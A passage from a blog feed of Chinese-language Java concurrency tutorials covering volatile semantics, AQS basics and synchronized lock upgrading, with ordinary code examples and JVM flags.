(2) 之后</li><li>(3) 不会被重排序到 (4) 之后</li><li>(2) 和 (3) 之间有 happens-before 关系</li></ul><h2 id="volatile-不能保证什么"><a href="#volatile-不能保证什么" class="headerlink" title="volatile 不能保证什么"></a>volatile 不能保证什么</h2><p>#</p><h2 id="不能保证原子性（Atomicity）"><a href="#不能保证原子性（Atomicity）" class="headerlink" title="不能保证原子性（Atomicity）"></a>不能保证原子性（Atomicity）</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">NotAtomic</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">volatile</span> <span class="type">int</span> <span class="variable">count</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">increment</span><span class="params">()</span> &#123;</span><br><span class="line">        count++;  <span class="comment">// 非原子操作！</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><code>count++</code> 实际上是三个操作：</p><ol><li>读取 count 值</li><li>加 1</li><li>写回 count</li></ol><p>即使加了 volatile，这三步之间仍可能被其他线程打断：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">线程A读取count=0</span><br><span class="line">线程B读取count=0</span><br><span class="line">线程A加1，写回count=1</span><br><span class="line">线程B加1，写回count=1</span><br><span class="line">// 结果：count=1（期望是2）</span><br></pre></td></tr></table></figure><p><strong>解决方案</strong>：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 方案1：synchronized</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">synchronized</span> <span class="keyword">void</span> <span class="title function_">increment</span><span class="params">()</span> &#123;</span><br><span class="line">    count++;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 方案2：AtomicInteger</span></span><br><span class="line"><span class="keyword">private</span> <span class="type">AtomicInteger</span> <span class="variable">count</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">AtomicInteger</span>(<span class="number">0</span>);</span><br><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">increment</span><span class="params">()</span> &#123;</span><br><span class="line">    count.incrementAndGet();</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 方案3：LongAdder（高并发推荐）</span></span><br><span class="line"><span class="keyword">private</span> <span class="type">LongAdder</span> <span class="variable">count</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">LongAdder</span>();</span><br><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">increment</span><span class="params">()</span> &#123;</span><br><span class="line">    count.increment();</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="volatile-的内存语义"><a href="#volatile-的内存语义" class="headerlink" title="volatile 的内存语义"></a>volatile 的内存语义</h2><p>#</p><h2 id="happens-before-规则"><a href="#happens-before-规则" class="headerlink" title="happens-before 规则"></a>happens-before 规则</h2><p>根据 JMM 的 happens-before 规则：</p><p><strong>volatile 变量规则</strong>：对一个 volatile 域的写，happens-before 于任意后续对这个 volatile 域的读。</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> <span class="variable">a</span> <span class="operator">=</span> <span class="number">1</span>;          <span class="comment">// (1)</span></span><br><span class="line"><span class="type">int</span> <span class="variable">b</span> <span class="operator">=</span> <span class="number">2</span>;          <span class="comment">// (2)</span></span><br><span class="line"><span class="keyword">volatile</span> <span class="type">int</span> <span class="variable">c</span> <span class="operator">=</span> <span class="number">3</span>; <span class="comment">// (3)</span></span><br><span class="line"><span class="type">int</span> <span class="variable">d</span> <span class="operator">=</span> <span class="number">4</span>;          <span class="comment">// (4)</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// (1)(2) 可能被重排序</span></span><br><span class="line"><span class="comment">// (1)(2) 不会被重排序到 (3) 之后</span></span><br><span class="line"><span class="comment">// (4) 不会被重排序到 (3) 之前</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="内存屏障"><a href="#内存屏障" class="headerlink" title="内存屏障"></a>内存屏障</h2><p>volatile 读写会插入内存屏障：</p><table><thead><tr><th>操作</th><th>屏障类型</th><th>说明</th></tr></thead><tbody><tr><td>volatile 读</td><td>LoadLoad + LoadStore</td><td>禁止后续的读/写重排序到前面</td></tr><tr><td>volatile 写</td><td>StoreStore + StoreLoad</td><td>禁止前面的读/写重排序到后面</td></tr></tbody></table><h2 id="正确使用场景"><a href="#正确使用场景" class="headerlink" title="正确使用场景"></a>正确使用场景</h2><p>#</p><h2 id="1-状态标志"><a href="#1-状态标志" class="headerlink" title="1. 状态标志"></a>1. 状态标志</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Server</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">volatile</span> <span class="type">boolean</span> <span class="variable">running</span> <span class="operator">=</span> <span class="literal">true</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">shutdown</span><span class="params">()</span> &#123;</span><br><span class="line">        running = <span class="literal">false</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">doWork</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">while</span> (running) &#123;</span><br><span class="line">            <span class="comment">// 执行任务</span></span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="2-单例模式（双重检查锁定）"><a href="#2-单例模式（双重检查锁定）" class="headerlink" title="2. 单例模式（双重检查锁定）"></a>2. 单例模式（双重检查锁定）</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Singleton</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">volatile</span> Singleton instance;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> Singleton <span class="title function_">getInstance</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">if</span> (instance == <span class="literal">null</span>) &#123;                    <span class="comment">// (1)</span></span><br><span class="line">            <span class="keyword">synchronized</span> (Singleton.class) &#123;</span><br><span class="line">                <span class="keyword">if</span> (instance == <span class="literal">null</span>) &#123;</span><br><span class="line">                    instance = <span class="keyword">new</span> <span class="title class_">Singleton</span>();    <span class="comment">// (2) volatile禁止重排序</span></span><br><span class="line">                &#125;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> instance;                           <span class="comment">// (3)</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>为什么需要 volatile？</strong></p><p><code>new Singleton()</code> 实际分三步：</p><ol><li>分配内存</li><li>初始化对象</li><li>将引用指向内存地址</li></ol><p>步骤 2 和 3 可能被重排序。没有 volatile，线程 A 可能先执行 3，此时 instance 非空但对象未初始化，线程 B 在 (1) 处判断非空直接返回未初始化的对象。</p><p>#</p><h2 id="3-读写锁的读操作（简单场景）"><a href="#3-读写锁的读操作（简单场景）" class="headerlink" title="3. 读写锁的读操作（简单场景）"></a>3. 读写锁的读操作（简单场景）</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Counter</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">volatile</span> <span class="type">long</span> value;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="type">long</span> <span class="title function_">get</span><span class="params">()</span> &#123;      <span class="comment">// 读：无锁，高性能</span></span><br><span class="line">        <span class="keyword">return</span> value;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">synchronized</span> <span class="keyword">void</span> <span class="title function_">increment</span><span class="params">()</span> &#123;  <span class="comment">// 写：加锁保证原子性</span></span><br><span class="line">        value++;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="常见误区"><a href="#常见误区" class="headerlink" title="常见误区"></a>常见误区</h2><p>#</p><h2 id="1-用-volatile-替代-synchronized"><a href="#1-用-volatile-替代-synchronized" class="headerlink" title="1. 用 volatile 替代 synchronized"></a>1. 用 volatile 替代 synchronized</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 错误！不能保证原子性</span></span><br><span class="line"><span class="keyword">private</span> <span class="keyword">volatile</span> <span class="type">int</span> balance;</span><br><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">withdraw</span><span class="params">(<span class="type">int</span> amount)</span> &#123;</span><br><span class="line">    <span class="keyword">if</span> (balance &gt;= amount) &#123;  <span class="comment">// 检查</span></span><br><span class="line">        balance -= amount;     <span class="comment">// 操作：非原子！</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="2-64位变量的原子性误解"><a href="#2-64位变量的原子性误解" class="headerlink" title="2. 64位变量的原子性误解"></a>2. 64位变量的原子性误解</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 在32位JVM上，long/double的读写不是原子的</span></span><br><span class="line"><span class="keyword">private</span> <span class="keyword">volatile</span> <span class="type">long</span> value;  <span class="comment">// volatile保证64位原子性</span></span><br></pre></td></tr></table></figure><p>在 32 位 JVM 上，未加 volatile 的 long/double 读写分两次 32 位操作，可能读到”半值”。volatile 保证 64 位读写原子性。</p><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><table><thead><tr><th>特性</th><th>volatile</th><th>synchronized</th><th>Atomic</th></tr></thead><tbody><tr><td>可见性</td><td>✅</td><td>✅</td><td>✅</td></tr><tr><td>原子性</td><td>❌</td><td>✅</td><td>✅</td></tr><tr><td>有序性</td><td>✅</td><td>✅</td><td>✅</td></tr><tr><td>性能</td><td>高</td><td>中</td><td>高</td></tr></tbody></table><p><strong>使用原则</strong>：</p><ul><li>纯标志位（布尔值）：用 volatile</li><li>计数、累加：用 Atomic/LongAdder</li><li>复合操作（检查再执行）：用 synchronized 或锁</li></ul><p>理解 volatile 的语义边界，是写出正确并发代码的前提。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>volatile 保证可见性：一个线程的修改对其他线程立即可见</p></li><li><p>volatile 禁止指令重排：确保指令按照代码顺序执行</p></li><li><p>volatile 不保证原子性：复合操作仍然需要同步</p></li><li><p>volatile 适合作为状态标志，不适合作为计数器</p></li></ol><h2 id="总结-1"><a href="#总结-1" class="headerlink" title="总结"></a>总结</h2><p>volatile 是一个轻量级的同步手段，适用于特定场景。在实际项目中，需要根据需求选择合适的同步方式，不要过度依赖 volatile。</p>]]></content>
      
      
      <categories>
          
          <category> Java并发 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> Java </tag>
            
            <tag> 并发 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>AQS 为什么是并发工具的基础</title>
      <link href="//aqs-wei-shi-me-shi-bing-fa-gong-ju-de-ji-chu/"/>
      <url>//aqs-wei-shi-me-shi-bing-fa-gong-ju-de-ji-chu/</url>
      
        <content type="html"><![CDATA[<h1 id="AQS-为什么是并发工具的基础"><a href="#AQS-为什么是并发工具的基础" class="headerlink" title="AQS 为什么是并发工具的基础"></a>AQS 为什么是并发工具的基础</h1><p>在 Java 并发编程中，AQS（AbstractQueuedSynchronizer）是理解 ReentrantLock、Semaphore、CountDownLatch 等工具的关键。很多开发者每天在用这些并发工具，却未必清楚它们的底层实现都依赖同一个框架。本文从实际应用角度梳理 AQS 的核心思想，结合源码片段说明它是如何支撑各种同步器的。</p><h2 id="先建立一个最小案例"><a href="#先建立一个最小案例" class="headerlink" title="先建立一个最小案例"></a>先建立一个最小案例</h2><p>并发问题不要一开始就上复杂业务。可以先准备一个计数器场景：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">Counter</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="type">int</span> <span class="variable">count</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">add</span><span class="params">()</span> &#123;</span><br><span class="line">        count++;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">get</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> count;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这段代码在单线程里没有问题，但多线程同时调用 <code>add()</code> 时，<code>count++</code> 不是原子操作，结果可能比预期小。</p><h2 id="正确处理思路"><a href="#正确处理思路" class="headerlink" title="正确处理思路"></a>正确处理思路</h2><p>如果只是简单计数，可以用 <code>AtomicInteger</code>：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">Counter</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> <span class="type">AtomicInteger</span> <span class="variable">count</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">AtomicInteger</span>();</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">add</span><span class="params">()</span> &#123;</span><br><span class="line">        count.incrementAndGet();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">get</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> count.get();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>如果临界区里有多步业务逻辑，可以考虑 <code>synchronized</code> 或 <code>ReentrantLock</code>。选择时不要只看性能，先看代码是否清晰、锁范围是否足够小、异常时是否能释放锁。</p><h2 id="排查建议"><a href="#排查建议" class="headerlink" title="排查建议"></a>排查建议</h2><p>线上并发问题通常不稳定复现。可以先看日志里是否有重复请求、状态覆盖、库存扣减异常，再用压测或单元测试构造并发场景。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>AQS 的核心是一个共享状态（state）加上一个双向链表，线程获取锁失败时会被包装成节点加入队列等待</p></li><li><p>独占模式和共享模式是 AQS 支持的两种基本模式，分别对应 ReentrantLock 和 Semaphore</p></li><li><p>tryAcquire/tryRelease 等方法由子类实现，AQS 提供模板方法和队列管理</p></li><li><p>ConditionObject 是 AQS 的内部类，实现了 Condition 接口，支持线程等待/通知</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>理解 AQS 不仅能帮你更好地使用并发工具，遇到问题时也能快速定位根源。比如排查死锁、分析线程阻塞原因时，知道 AQS 的工作机制会非常有帮助。</p>]]></content>
      
      
      <categories>
          
          <category> Java并发 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> 并发 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>synchronized底层原理与锁升级</title>
      <link href="//synchronized-di-ceng-yuan-li-yu-suo-sheng-ji/"/>
      <url>//synchronized-di-ceng-yuan-li-yu-suo-sheng-ji/</url>
      
        <content type="html"><![CDATA[<h1 id="synchronized底层原理与锁升级"><a href="#synchronized底层原理与锁升级" class="headerlink" title="synchronized底层原理与锁升级"></a>synchronized底层原理与锁升级</h1><p>synchronized 是 Java 并发中最常用也最容易被误解的关键字。从早期的重量级锁到现在的锁升级机制，JVM 对它做了很多优化。本文从底层原理到实际使用，把关键细节讲清楚。</p><h2 id="synchronized-的三种用法"><a href="#synchronized-的三种用法" class="headerlink" title="synchronized 的三种用法"></a>synchronized 的三种用法</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 1. 同步实例方法（锁当前对象）</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">synchronized</span> <span class="keyword">void</span> <span class="title function_">method</span><span class="params">()</span> &#123; &#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 2. 同步静态方法（锁Class对象）</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">synchronized</span> <span class="keyword">void</span> <span class="title function_">staticMethod</span><span class="params">()</span> &#123; &#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 3. 同步代码块（锁指定对象）</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">block</span><span class="params">()</span> &#123;</span><br><span class="line">    <span class="keyword">synchronized</span> (<span class="built_in">this</span>) &#123; &#125;</span><br><span class="line">    <span class="keyword">synchronized</span> (Object.class) &#123; &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="对象头与-Mark-Word"><a href="#对象头与-Mark-Word" class="headerlink" title="对象头与 Mark Word"></a>对象头与 Mark Word</h2><p>在 HotSpot 虚拟机中，对象在内存中的布局分为三部分：</p><ol><li><strong>对象头（Header）</strong>：Mark Word + 类型指针</li><li><strong>实例数据（Instance Data）</strong></li><li><strong>对齐填充（Padding）</strong></li></ol><p>#</p><h2 id="Mark-Word-结构（64位-JVM）"><a href="#Mark-Word-结构（64位-JVM）" class="headerlink" title="Mark Word 结构（64位 JVM）"></a>Mark Word 结构（64位 JVM）</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">| 锁状态   | 61bit                        | 2bit | 1bit（偏向锁位）|</span><br><span class="line">|----------|------------------------------|------|----------------|</span><br><span class="line">| 无锁     | hashcode(31) + 分代年龄(4) + 0 | 01   | 0              |</span><br><span class="line">| 偏向锁   | 线程ID(54) + 分代年龄(4) + 1   | 01   | 1              |</span><br><span class="line">| 轻量级锁 | 指向栈中锁记录的指针            | 00   | -              |</span><br><span class="line">| 重量级锁 | 指向互斥量（Monitor）的指针     | 10   | -              |</span><br><span class="line">| GC标记   | 空                            | 11   | -              |</span><br></pre></td></tr></table></figure><h2 id="synchronized-的字节码"><a href="#synchronized-的字节码" class="headerlink" title="synchronized 的字节码"></a>synchronized 的字节码</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">synchronized</span> <span class="keyword">void</span> <span class="title function_">method</span><span class="params">()</span>;</span><br><span class="line"><span class="comment">// 字节码：flags: ACC_PUBLIC, ACC_SYNCHRONIZED</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">block</span><span class="params">()</span>;</span><br><span class="line"><span class="comment">// 字节码：monitorenter + monitorexit</span></span><br></pre></td></tr></table></figure><p>同步代码块通过 <code>monitorenter</code> 和 <code>monitorexit</code> 指令实现：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">code:</span><br><span class="line">   0: aload_1</span><br><span class="line">   1: dup</span><br><span class="line">   2: astore_2</span><br><span class="line">   3: monitorenter        // 获取锁</span><br><span class="line">   4: ...                 // 同步代码</span><br><span class="line">  14: aload_2</span><br><span class="line">  15: monitorexit         // 释放锁（正常退出）</span><br><span class="line">  16: goto 24</span><br><span class="line">  19: astore_3            // 异常处理</span><br><span class="line">  20: aload_2</span><br><span class="line">  21: monitorexit         // 释放锁（异常退出）</span><br><span class="line">  22: aload_3</span><br><span class="line">  23: athrow</span><br></pre></td></tr></table></figure><p><strong>注意</strong>：编译器会生成两个 <code>monitorexit</code>，确保异常时也能释放锁。</p><h2 id="Monitor（管程）"><a href="#Monitor（管程）" class="headerlink" title="Monitor（管程）"></a>Monitor（管程）</h2><p>每个 Java 对象关联一个 Monitor，由 ObjectMonitor 实现：</p><figure class="highlight cpp"><table><tr><td class="code"><pre><span class="line"><span class="built_in">ObjectMonitor</span>() &#123;</span><br><span class="line">    _header       = <span class="literal">NULL</span>;</span><br><span class="line">    _count        = <span class="number">0</span>;    <span class="comment">// 重入次数</span></span><br><span class="line">    _waiters      = <span class="number">0</span>;</span><br><span class="line">    _recursions   = <span class="number">0</span>;    <span class="comment">// 锁重入次数</span></span><br><span class="line">    _object       = <span class="literal">NULL</span>;</span><br><span class="line">    _owner        = <span class="literal">NULL</span>; <span class="comment">// 持有锁的线程</span></span><br><span class="line">    _WaitSet      = <span class="literal">NULL</span>; <span class="comment">// 调用wait的线程队列</span></span><br><span class="line">    _EntryList    = <span class="literal">NULL</span>; <span class="comment">// 等待获取锁的线程队列</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="锁升级过程"><a href="#锁升级过程" class="headerlink" title="锁升级过程"></a>锁升级过程</h2><p>JDK 6 引入锁升级优化，减少重量级锁的开销：</p><p>#</p><h2 id="1-无锁（New）"><a href="#1-无锁（New）" class="headerlink" title="1. 无锁（New）"></a>1. 无锁（New）</h2><p>对象刚创建，没有线程访问。</p><p>#</p><h2 id="2-偏向锁（Biased-Locking）"><a href="#2-偏向锁（Biased-Locking）" class="headerlink" title="2. 偏向锁（Biased Locking）"></a>2. 偏向锁（Biased Locking）</h2><p><strong>场景</strong>：只有一个线程访问同步块。</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 开启偏向锁（默认开启）</span></span><br><span class="line">-XX:+UseBiasedLocking</span><br><span class="line"><span class="comment">// 延迟开启（默认4秒）</span></span><br><span class="line">-XX:BiasedLockingStartupDelay=<span class="number">0</span></span><br></pre></td></tr></table></figure><p><strong>原理</strong>：第一次获取锁时，将线程 ID 写入 Mark Word。后续该线程进入同步块，只需检查线程 ID 是否一致，无需 CAS 操作。</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">无锁（001） -&gt; 偏向锁（101，记录线程ID）</span><br></pre></td></tr></table></figure><p>#</p><h2 id="3-轻量级锁（Lightweight-Locking）"><a href="#3-轻量级锁（Lightweight-Locking）" class="headerlink" title="3. 轻量级锁（Lightweight Locking）"></a>3. 轻量级锁（Lightweight Locking）</h2><p><strong>场景</strong>：多个线程交替访问（无竞争）。</p><p><strong>原理</strong>：线程在栈帧中创建 Lock Record，用 CAS 将对象头的 Mark Word 替换为指向 Lock Record 的指针。</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">偏向锁 -&gt; 撤销偏向 -&gt; 轻量级锁（00）</span><br></pre></td></tr></table></figure><p>#</p><h2 id="4-重量级锁（Heavyweight-Locking）"><a href="#4-重量级锁（Heavyweight-Locking）" class="headerlink" title="4. 重量级锁（Heavyweight Locking）"></a>4. 重量级锁（Heavyweight Locking）</h2><p><strong>场景</strong>：多个线程同时竞争。</p><p><strong>原理</strong>：线程阻塞，进入 EntryList 等待，由操作系统调度。</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">轻量级锁 -&gt; CAS失败 -&gt; 自旋 -&gt; 失败 -&gt; 重量级锁（10）</span><br></pre></td></tr></table></figure><h2 id="锁升级流程图"><a href="#锁升级流程图" class="headerlink" title="锁升级流程图"></a>锁升级流程图</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">对象创建</span><br><span class="line">    |</span><br><span class="line">    v</span><br><span class="line">无锁（001）</span><br><span class="line">    |</span><br><span class="line">    | 第一个线程获取锁</span><br><span class="line">    v</span><br><span class="line">偏向锁（101，记录线程ID）</span><br><span class="line">    |</span><br><span class="line">    |-- 同一线程再次进入：检查线程ID，直接通过</span><br><span class="line">    |</span><br><span class="line">    |-- 其他线程尝试获取：撤销偏向锁</span><br><span class="line">        |</span><br><span class="line">        v</span><br><span class="line">轻量级锁（00，CAS替换Mark Word）</span><br><span class="line">    |</span><br><span class="line">    |-- 获取成功：持有锁执行</span><br><span class="line">    |</span><br><span class="line">    |-- CAS失败：自旋等待</span><br><span class="line">        |</span><br><span class="line">        |-- 自旋成功：获取轻量级锁</span><br><span class="line">        |</span><br><span class="line">        |-- 自旋失败（默认10次）：膨胀为重量级锁</span><br><span class="line">            |</span><br><span class="line">            v</span><br><span class="line">重量级锁（10，Monitor，线程阻塞）</span><br></pre></td></tr></table></figure><h2 id="锁优化参数"><a href="#锁优化参数" class="headerlink" title="锁优化参数"></a>锁优化参数</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 关闭偏向锁</span></span><br><span class="line">-XX:-UseBiasedLocking</span><br><span class="line"></span><br><span class="line"><span class="comment"># 设置自旋次数</span></span><br><span class="line">-XX:PreBlockSpin=10</span><br><span class="line"></span><br><span class="line"><span class="comment"># 自适应自旋（JDK 6+ 默认开启）</span></span><br><span class="line">-XX:+UseSpinning</span><br></pre></td></tr></table></figure><h2 id="锁消除与锁粗化"><a href="#锁消除与锁粗化" class="headerlink" title="锁消除与锁粗化"></a>锁消除与锁粗化</h2><p>#</p><h2 id="锁消除（Lock-Elimination）"><a href="#锁消除（Lock-Elimination）" class="headerlink" title="锁消除（Lock Elimination）"></a>锁消除（Lock Elimination）</h2><p>JIT 编译器发现不可能存在竞争时，消除锁：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">method</span><span class="params">()</span> &#123;</span><br><span class="line">    <span class="type">Object</span> <span class="variable">lock</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Object</span>();</span><br><span class="line">    <span class="keyword">synchronized</span> (lock) &#123;  <span class="comment">// 局部变量，不可能共享，锁被消除</span></span><br><span class="line">        <span class="comment">// ...</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>开启逃逸分析后自动优化：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">-XX:+DoEscapeAnalysis  // 默认开启</span><br></pre></td></tr></table></figure><p>#</p><h2 id="锁粗化（Lock-Coarsening）"><a href="#锁粗化（Lock-Coarsening）" class="headerlink" title="锁粗化（Lock Coarsening）"></a>锁粗化（Lock Coarsening）</h2><p>将相邻的同步代码块合并：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 优化前</span></span><br><span class="line"><span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt; <span class="number">100</span>; i++) &#123;</span><br><span class="line">    <span class="keyword">synchronized</span> (lock) &#123;</span><br><span class="line">        <span class="comment">// ...</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 优化后</span></span><br><span class="line"><span class="keyword">synchronized</span> (lock) &#123;</span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt; <span class="number">100</span>; i++) &#123;</span><br><span class="line">        <span class="comment">// ...</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="实际建议"><a href="#实际建议" class="headerlink" title="实际建议"></a>实际建议</h2><ol><li><strong>不要手动关闭偏向锁</strong>：除非明确知道有大量竞争</li><li><strong>减少锁的持有时间</strong>：只在必要时同步</li><li><strong>减小锁的粒度</strong>：使用细粒度锁或分段锁</li><li><strong>避免在锁中调用外部方法</strong>：防止死锁和性能问题</li></ol><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 好的做法：减小锁粒度</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Counter</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> <span class="type">Object</span> <span class="variable">lock</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Object</span>();</span><br><span class="line">    <span class="keyword">private</span> <span class="type">long</span> count;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">increment</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">synchronized</span> (lock) &#123;</span><br><span class="line">            count++;</span><br><span class="line">        &#125;  <span class="comment">// 尽快释放锁</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><table><thead><tr><th>锁类型</th><th>优点</th><th>缺点</th><th>适用场景</th></tr></thead><tbody><tr><td>偏向锁</td><td>无竞争时零开销</td><td>撤销有开销</td><td>单线程访问</td></tr><tr><td>轻量级锁</td><td>低竞争时性能好</td><td>自旋消耗CPU</td><td>交替访问</td></tr><tr><td>重量级锁</td><td>竞争激烈时稳定</td><td>线程阻塞开销</td><td>高竞争</td></tr></tbody></table><p>理解锁升级机制，有助于分析并发性能问题和调优 JVM 参数。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>synchronized 可以修饰方法或代码块，前者锁对象实例，后者锁指定对象</p></li><li><p>锁升级过程：无锁 → 偏向锁 → 轻量级锁 → 重量级锁</p></li><li><p>锁消除和锁粗化是 JVM 的优化手段</p></li><li><p>synchronized 保证原子性、可见性和有序性</p></li></ol><h2 id="总结-1"><a href="#总结-1" class="headerlink" title="总结"></a>总结</h2><p>synchronized 是 Java 并发的基础，理解它的工作机制很重要。在实际项目中，合理使用 synchronized 可以保证线程安全，但也要注意锁的粒度。</p>]]></content>
      
      
      <categories>
          
          <category> Java并发 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> Java </tag>
            
            <tag> 并发 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CompletableFuture 编排异步任务</title>
